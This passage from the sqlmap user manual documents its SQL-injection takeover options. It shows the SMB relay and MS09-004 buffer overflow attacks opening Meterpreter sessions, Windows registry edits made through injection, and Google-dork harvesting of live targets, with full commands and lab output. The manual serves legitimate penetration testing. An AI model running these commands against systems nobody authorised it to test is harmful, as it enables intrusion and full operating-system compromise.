meterpreter > Server username: NT AUTHORITY\SYSTEM
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address : 172.16.213.128
Netmask : 255.255.255.0
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[hh:mm:52] [INFO] cleaning up the database management system
Options: --os-smbrelay, --priv-esc and --msf-path
If the back-end database management system runs on Windows as
Administrator and the system is not patched against Microsoft
Security Bulletin
MS08-068, sqlmap can abuse the universal naming convention (UNC)
feature within any database management system to force the database server
to initiate a SMB connection with the attacker host, then perform a SMB
authentication relay attack in order to establish a high-privileged
out-of-band TCP stateful channel between the attacker host and
the target database server.
sqlmap relies on
Metasploit's SMB relay exploit to perform this attack.
You need to run sqlmap as a privileged user (e.g. root) if you
want to perform a SMB relay attack because it will need to listen on a
user-specified SMB TCP port for incoming connection attempts.
Note that this feature is not supported by sqlmap running on Windows
platform because it relies on Metasploit's msfpayload which is
not fully working on Windows.
This technique is detailed in the white paper Advanced SQL injection to operating system full control.
Example on a Microsoft SQL Server 2005 Service Pack 0 running as
Administrator on the target:
$ sudo python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--os-smbrelay -v 1 --msf-path /home/inquis/software/metasploit
[...]
[hh:mm:11] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:11] [INFO] testing stacked queries support on parameter 'name'
[hh:mm:16] [INFO] the web application supports stacked queries on parameter 'name'
[hh:mm:16] [WARNING] it is unlikely that this attack will be successful because often
Microsoft SQL Server 2005 runs as Network Service which is not a real user, it does not
send the NTLM session hash when connecting to a SMB service
[hh:mm:16] [INFO] which connection type do you want to use?
[1] Bind TCP (default)
[2] Bind TCP (No NX)
[3] Reverse TCP
[4] Reverse TCP (No NX)
> 1
[hh:mm:16] [INFO] which is the local address? [172.16.213.161] 172.16.213.161
[hh:mm:16] [INFO] which is the back-end DBMS address? [172.16.213.131] 172.16.213.131
[hh:mm:16] [INFO] which remote port numer do you want to use? [4907] 4907
[hh:mm:16] [INFO] which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
> 1
[hh:mm:16] [INFO] which SMB port do you want to use?
[1] 139/TCP (default)
[2] 445/TCP
> 1
[hh:mm:16] [INFO] running Metasploit Framework 3 console locally, wait..
_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|
=[ msf v3.3-dev
+ -- --=[ 392 exploits - 234 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 168 aux
resource> use windows/smb/smb_relay
resource> set SRVHOST 172.16.213.161
SRVHOST => 172.16.213.161
resource> set SRVPORT 139
SRVPORT => 139
resource> set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
resource> set LPORT 4907
LPORT => 4907
resource> set RHOST 172.16.213.131
RHOST => 172.16.213.131
resource> exploit
[*] Exploit running as background job.
msf exploit(smb_relay) >
[*] Started bind handler
[*] Server started.
[*] Received 172.16.213.131:3242 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
Service Pack 2 LM:
[*] Sending Access Denied to 172.16.213.131:3242 \
[*] Received 172.16.213.131:3242 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Connecting to the ADMIN$ share...
[*] Regenerating the payload...
[*] Uploading payload...
[*] Created \wELRmcmd.exe...
[*] Connecting to the Service Control Manager...
[*] Obtaining a service manager handle...
[*] Creating a new service...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \wELRmcmd.exe...
[*] Sending Access Denied to 172.16.213.131:3242 W2K3DEV\Administrator
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Received 172.16.213.131:3244 \ LMHASH:00 NTHASH: OS:Windows Server 2003 3790
Service Pack 2 LM:
[*] Sending Access Denied to 172.16.213.131:3244 \
[*] Received 172.16.213.131:3244 W2K3DEV\Administrator LMHASH:FOO NTHASH:BAR OS:Windows
Server 2003 3790 Service Pack 2 LM:
[*] Authenticating to 172.16.213.131 as W2K3DEV\Administrator...
[*] AUTHENTICATED as W2K3DEV\Administrator...
[*] Ignoring request from 172.16.213.131, attack already in progress.
[*] Sending Access Denied to 172.16.213.131:3244 W2K3DEV\Administrator
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (172.16.213.161:51813 -> 172.16.213.131:4907)
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Meterpreter 172.16.213.161:51813 -> 172.16.213.131:4907
msf exploit(smb_relay) > [*] Starting interaction with 1...
meterpreter > [-] The 'priv' extension has already been loaded.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > exit
[*] Meterpreter session 1 closed.
msf exploit(smb_relay) > exit
[*] Server stopped.
Options: --os-bof, --priv-esc and --msf-path
If the back-end database management system is Microsoft SQL Server not
patched against Microsoft Security Bulletin
MS09-004, sqlmap can exploit the heap-based buffer overflow
affecting sp_replwritetovarbin stored procedure in order to
establish an out-of-band TCP stateful channel between the
attacker host and the target database server.
sqlmap has its own exploit to trigger the vulnerability, but it relies on
Metasploit to
generate the shellcode used within the exploit.
Note that this feature is not supported by sqlmap running on Windows
platform because it relies on Metasploit's msfcli which is not
available for Windows.
This technique is detailed in the white paper Advanced SQL injection to operating system full control and in the slide deck Expanding the control over the operating system from the database.
Example on a Microsoft SQL Server 2005 Service Pack 0 target:
$ python sqlmap.py -u http://172.16.213.128/sqlmap/mssql/iis/get_int.asp?id=1 \
--os-bof -v 1 --msf-path ~/software/metasploit
[...]
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:51] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:56] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:56] [INFO] going to exploit the Microsoft SQL Server 2005 'sp_replwritetovarbin'
stored procedure heap-based buffer overflow (MS09-004)
[hh:mm:56] [INFO] fingerprinting the back-end DBMS operating system version and service pack
[hh:mm:56] [INFO] retrieved: 1
[hh:mm:58] [INFO] retrieved: 1
[hh:mm:58] [INFO] the back-end DBMS operating system is Windows 2003 Service Pack 2
[hh:mm:58] [INFO] creating Metasploit Framework 3 multi-stage shellcode
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [172.16.213.1]
which local port number do you want to use? [21380]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
which payload encoding do you want to use?
[1] No Encoder
[2] Alpha2 Alphanumeric Mixedcase Encoder
[3] Alpha2 Alphanumeric Uppercase Encoder
[4] Avoid UTF8/tolower
[5] Call+4 Dword XOR Encoder
[6] Single-byte XOR Countdown Encoder
[7] Variable-length Fnstenv/mov Dword XOR Encoder
[8] Polymorphic Jump/Call XOR Additive Feedback Encoder
[9] Non-Alpha Encoder
[10] Non-Upper Encoder
[11] Polymorphic XOR Additive Feedback Encoder (default)
[12] Alpha2 Alphanumeric Unicode Mixedcase Encoder
[13] Alpha2 Alphanumeric Unicode Uppercase Encoder
>
[hh:mm:16] [INFO] creation in progress .... done
[hh:mm:20] [INFO] running Metasploit Framework 3 command line interface locally, wait..
[*] Please wait while we load the module tree...
[*] Started reverse handler on 172.16.213.1:21380
[*] Starting the payload handler...
[hh:mm:27] [INFO] triggering the buffer overflow vulnerability, wait..
[*] Sending stage (748032 bytes)
[*] Meterpreter session 1 opened (172.16.213.1:21380 -> 172.16.213.128:12062)
meterpreter > Loading extension espia...success.
meterpreter > Loading extension incognito...success.
meterpreter > Loading extension priv...success.
meterpreter > Loading extension sniffer...success.
meterpreter > Computer: W2K3DEV
OS : Windows .NET Server (Build 3790, Service Pack 2).
Arch : x86
Language: en_US
meterpreter > Server username: NT AUTHORITY\NETWORK SERVICE
meterpreter > ipconfig
MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask : 255.0.0.0
VMware Accelerated AMD PCNet Adapter #2
Hardware MAC: 00:0c:29:86:69:1b
IP Address : 172.16.213.128
Netmask : 255.255.255.0
meterpreter > exit
It is possible to access Windows registry when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and when the underlying database layer supports stacked SQL queries. Also, session user has to have the needed privileges to access it.
Option: --reg-read
Using this option you can read registry key values.
Example on a PostgreSQL 8.4 target:
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-read
[...]
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: PostgreSQL
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:15] [INFO] detecting back-end DBMS version from its banner
[hh:mm:15] [INFO] retrieved: 8.4.2,
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:23] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:23] [INFO] retrieved: 1
[hh:mm:23] [INFO] the back-end DBMS operating system is Windows
[hh:mm:23] [INFO] testing if current user is DBA
[hh:mm:23] [INFO] retrieved: 1
[hh:mm:23] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:23] [INFO] retrieved: 0
[hh:mm:24] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:24] [INFO] retrieved: 0
[hh:mm:25] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:25] [INFO] creating UDF 'sys_exec' from the binary UDF file
which registry key do you want to read? [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\
CurrentVersion]
which registry key value do you want to read? [ProductName]
[hh:mm:34] [INFO] reading Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows NT\CurrentVersion\ProductName'
[hh:mm:35] [INFO] retrieved: ProductName REG_SZ Microsoft Windows XP
Registry key value data: 'ProductName REG_SZ Microsoft Windows XP'
Option: --reg-add
Using this option you can write registry key values.
Example on a PostgreSQL 8.4 target:
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add
[...]
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: PostgreSQL
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
[hh:mm:20] [INFO] retrieved: 8.4.2,
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
[hh:mm:30] [INFO] testing if current user is DBA
[hh:mm:30] [INFO] retrieved: 1
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:30] [INFO] retrieved: 0
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
which registry key do you want to write? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
which registry key value do you want to write? Test
which registry key value data do you want to write? 1
which registry key value data-type is it? [REG_SZ] REG_DWORD
[hh:mm:41] [INFO] adding Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'
with data '1'. This will work only if the user running the database process has privileges
to modify the Windows registry.
Option: --reg-del
Using this option you can delete registry keys.
Example on a PostgreSQL 8.4 target:
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-del
[...]
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS: PostgreSQL
[hh:mm:20] [INFO] testing stacked queries support on parameter 'id'
[hh:mm:20] [INFO] detecting back-end DBMS version from its banner
[hh:mm:20] [INFO] retrieved: 8.4.2,
[hh:mm:29] [INFO] the web application supports stacked queries on parameter 'id'
[hh:mm:29] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:29] [INFO] retrieved: 1
[hh:mm:30] [INFO] the back-end DBMS operating system is Windows
[hh:mm:30] [INFO] testing if current user is DBA
[hh:mm:30] [INFO] retrieved: 1
[hh:mm:30] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:30] [INFO] retrieved: 0
[hh:mm:06] [INFO] creating UDF 'sys_exec' from the binary UDF file
which registry key do you want to delete? HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap
which registry key value do you want to delete? Test
are you sure that you want to delete the Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\
sqlmap\Test? [y/N] y
[hh:mm:26] [INFO] deleting Windows registry path 'HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap\Test'.
This will work only if the user running the database process has privileges to modify the
Windows registry.
Options: --reg-key, --reg-value,
--reg-data and --reg-type
These switches can be used to provide data needed for proper running of
options --reg-read, --reg-add and
--reg-del. So, instead of providing registry key
information when asked, you can use them at command prompt as program
arguments.
With --reg-key option you specify used windows
registry key path, with --reg-value value item
name inside provided key, with --reg-data value
data, while with --reg-type option you specify
type of the value item.
So, another way of running example from option
--reg-add could be:
$ python sqlmap.py -u http://172.16.213.128/sqlmap/pgsql/get_int.php?id=1 --reg-add \
--reg-key=HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap --reg-value=Test --reg-type=REG_SZ --reg-data=1
Option: -s
By default sqlmap logs all queries and their output into a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.
The default session file is output/hostname/session, but you can
change its path with the -s option.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-v 2 -s "sqlmap.log"
[...]
back-end DBMS: PostgreSQL
[hh:mm:02] [DEBUG] query: VERSION()
[hh:mm:02] [INFO] retrieved: PostgreSQL 8.3.5 on i486-pc-^C
[hh:mm:03] [ERROR] user aborted
As you can see, I stopped the injection with CTRL-C while
retrieving the PostgreSQL banner and logged the session to text file
sqlmap.log.
$ cat sqlmap.log
[hh:mm:00 MM/DD/YY]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection point][GET]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection parameter][id]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Injection type][numeric]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][Parenthesis][0]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][CONCAT('9', '9')][]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH(SYSDATE)][]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][COALESCE(3, NULL)][3]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][LENGTH('3')][1]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][DBMS][PostgreSQL]
[http://172.16.213.131/sqlmap/pgsql/get_int.php][GET][id=1][VERSION()][PostgreSQL 8.3.5
on i486-pc-
As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.
The session file has a structure as follows:
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
Performing the same request now, sqlmap resumes all information already
retrieved then calculates the query length, in the example
VERSION(), and resumes the injection from the last character
retrieved to the end of the query output.
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-v 2 -s "sqlmap.log"
[...]
[hh:mm:03] [INFO] resuming injection point 'GET' from session file
[hh:mm:03] [INFO] resuming injection parameter 'id' from session file
[hh:mm:03] [INFO] resuming injection type 'numeric' from session file
[hh:mm:03] [INFO] resuming 0 number of parenthesis from session file
[hh:mm:03] [INFO] resuming back-end DBMS 'PostgreSQL' from session file
[hh:mm:03] [INFO] testing connection to the target url
[hh:mm:03] [INFO] testing for parenthesis on injectable parameter
[hh:mm:03] [INFO] retrieving the length of query output
[hh:mm:03] [DEBUG] query: LENGTH(VERSION())
[hh:mm:03] [INFO] retrieved: 98
[hh:mm:03] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.3.5 on i486-pc-...
[hh:mm:03] [INFO] retrieving pending 70 query output characters
[hh:mm:03] [DEBUG] query: SUBSTR((VERSION())::text, 29, 98)
[hh:mm:03] [INFO] retrieved: linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
back-end DBMS: PostgreSQL
[hh:mm:07] [INFO] fetching banner
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Option: --flush-session
As you are already familiar with the concept of a session file from the
description of option -s, it is good to know that you can flush
the content of that same file using option --flush-session.
This way you can avoid caching mechanisms implemented by default in
sqlmap. Other possible way is the manual removing of session file(s),
sqlmap.log in the example above, or the default
output/hostname/session if -s is not provided.
Option: --eta
It is possible to calculate and show the estimated time of arrival to retrieve each query output in real time while performing the SQL injection attack.
Example on an Oracle XE 10.2.0.1 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" -b \
--eta -v 2
[...]
back-end DBMS: Oracle
[hh:mm:24] [INFO] fetching banner
[hh:mm:24] [INFO] the resumed output is partial, sqlmap is going to retrieve the query
output again
[hh:mm:24] [INFO] retrieved the length of query output: 64
[hh:mm:24] [DEBUG] query: SELECT NVL(CAST(banner AS VARCHAR(4000)), (CHR(32))) FROM v$version
WHERE ROWNUM=1
77% [=======================================> ] 49/64 ETA 00:00
then:
100% [====================================================] 64/64
[hh:mm:15] [DEBUG] performed 454 queries in 2 seconds
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" \
--users --eta -v 1
[...]
back-end DBMS: Microsoft SQL Server 2000
[hh:mm:57] [INFO] fetching database users
[hh:mm:57] [INFO] fetching number of database users
[hh:mm:57] [INFO] retrieved: 3
[hh:mm:57] [INFO] retrieved the length of query output: 22
100% [====================================================] 22/22
[hh:mm:58] [INFO] retrieved the length of query output: 2
100% [====================================================] 2/2
[hh:mm:59] [INFO] retrieved the length of query output: 25
100% [====================================================] 25/25
[hh:mm:00] [DEBUG] performed 181 queries in 1 seconds
database management system users [3]:
[*] BUILTIN\Administrators
[*] sa
[*] W2KITINQUIS\Administrator
As you can see, sqlmap first calculates the length of the query output, then estimates the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.
Option: --gpage
Default sqlmap behavior with option -g is to do a Google
search and use resulting urls from first (100) result page for further
sql injection testing. In combination with this option you can specify
some other page other than the first one for retrieving target urls.
Example of Google dorking with expression login ext:php
and resulting page set to 3:
$ python sqlmap.py -g "ext:php login" --gpage 3 -v 1
[hh:mm:14] [INFO] first request to Google to get the session cookie
[hh:mm:14] [INFO] using Google result page #3
[hh:mm:14] [INFO] sqlmap got 100 results for your Google dork expression, 89 of them are
testable targets
[hh:mm:15] [INFO] sqlmap got a total of 89 targets
url 1:
GET http://www.XXX.com/index.php?pageid=login
do you want to test this url? [Y/n/q]
> y
[hh:mm:17] [INFO] testing url http://www.XXX.com/index.php?pageid=login
[hh:mm:17] [INFO] using '/home/inquis/sqlmap/output/www.XXX.com/session' as session file
[hh:mm:17] [INFO] testing connection to the target url
[hh:mm:17] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:19] [INFO] url is stable
[hh:mm:19] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:21] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if Cookie parameter 'PHPSESSID' is dynamic
[hh:mm:24] [INFO] confirming that Cookie parameter 'PHPSESSID' is dynamic
[hh:mm:27] [INFO] Cookie parameter 'PHPSESSID' is dynamic
[...]
Option: --update
Using this option you can update the program to the latest version directly from the Subversion repository along with the latest Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site.
$ python sqlmap.py --update
[...]
[hh:mm:27] [INFO] updating sqlmap to latest development version from the subversion repository
[hh:mm:28] [INFO] updated to the latest revision XXXX
[hh:mm:29] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:33] [INFO] no new Microsoft SQL Server versions since the last update
[...]
The Debian and Red Hat installation packages (deb and rpm) as well as the Windows binary package (exe) can not be used to update sqlmap. You need a source package (gzip, bzip2 or zip) to use this feature.
Option: --save
It is possible to save the command line options to a configuration INI file.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -b \
-v 1 --save
[hh:mm:33] [INFO] saved command line options on '/home/inquis/sqlmap/sqlmap-SAUbs.conf'
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
As you can see, sqlmap saved the command line options to a configuration
INI file, sqlmap-SAUbs.conf.
$ cat sqlmap-SAUbs.conf
[Target]
url = http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1
googledork =
configfile =
list =
requestfile =
[Windows]
regread = False
regval =
regdata =
regadd = False
regdel = False
regtype =
regkey =
[User-defined function]
shlib =
udfinject = False
[Request]
cookieurlencode = False
ignoreproxy = False
threads = 1
acert =
retries = 3
useragentsfile =
atype =
agent =
delay = 0
headers =
cookie =
proxy =
timeout = 30
scope =
acred =
referer =
dropsetcookie = False
data =
method = GET
[Miscellaneous]
updateall = False
sessionfile =
eta = False
batch = False
flushsession = False
cleanup = False
googlepage = 0
verbose = 1
[Enumeration]
limitstop = 0
getpasswordhashes = False
excludesysdbs = False
getcurrentdb = False
getcurrentuser = False
limitstart = 0
query =
getusers = False
isdba = False
gettables = False
dumptable = False
getdbs = False
db =
sqlshell = False
tbl =
firstchar = 0
getcolumns = False
getbanner = True
dumpall = False
getprivileges = False
lastchar = 0
col =
user =
[File system]
dfile =
wfile =
rfile =
[Takeover]
msfpath =
osshell = False
ossmb = False
privesc = False
ospwn = False
tmppath =
oscmd =
osbof = False
[Fingerprint]
extensivefp = False
[Injection]
dbms =
string =
postfix =
regexp =
prefix =
testparameter =
estring =
eregexp =
os =
[Techniques]
utech =
unionuse = False
timetest = False
uniontest = False
stackedtest = False
timesec = 5
The file is a valid sqlmap configuration INI file.
You can edit the configuration options as you wish and pass it to sqlmap
with the -c option as explained above in section 5.2.5:
$ python sqlmap.py -c sqlmap-SAUbs.conf
[...]
banner: 'PostgreSQL 8.3.5 on i486-pc-linux-gnu, compiled by GCC gcc-4.3.real
(Ubuntu 4.3.2-1ubuntu11) 4.3.2'
Option: --batch
If you want sqlmap to run as a batch tool, without any user's interaction
when sqlmap requires it, you can force it by using --batch
option, and leave sqlmap to go for a default behaviour.
Example on a MySQL 5.0.67 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_str.php?id=1&name=luther" \
--batch -v 1
[...]
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go
ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS: MySQL >= 5.0.0
As you can see, sqlmap by default chose the injection payload to the first vulnerable parameter.
Option: --cleanup
It is recommended to clean up the back-end database management system from sqlmap temporary table(s) and created user-defined function(s) when you are done with owning the underlying operating system or file system.
Example on a PostgreSQL 8.3.5 target:
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/iis/get_int.aspx?id=1" \
-v 2 --cleanup
[...]
[hh:mm:18] [INFO] cleaning up the database management system
[hh:mm:18] [DEBUG] removing support tables
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapfile
[hh:mm:18] [DEBUG] query: DROP TABLE sqlmapoutput
do you want to remove sys_exec UDF? [Y/n]
[hh:mm:20] [DEBUG] removing sys_exec UDF
[hh:mm:20] [DEBUG] query: DROP FUNCTION sys_exec(text)
do you want to remove sys_eval UDF? [Y/n]
[hh:mm:21] [DEBUG] removing sys_eval UDF
[hh:mm:21] [DEBUG] query: DROP FUNCTION sys_eval(text)
[hh:mm:21] [INFO] database management system cleanup finished
[hh:mm:21] [WARNING] remember that UDF shared library files saved on the file system can
only be deleted manually
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.
Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B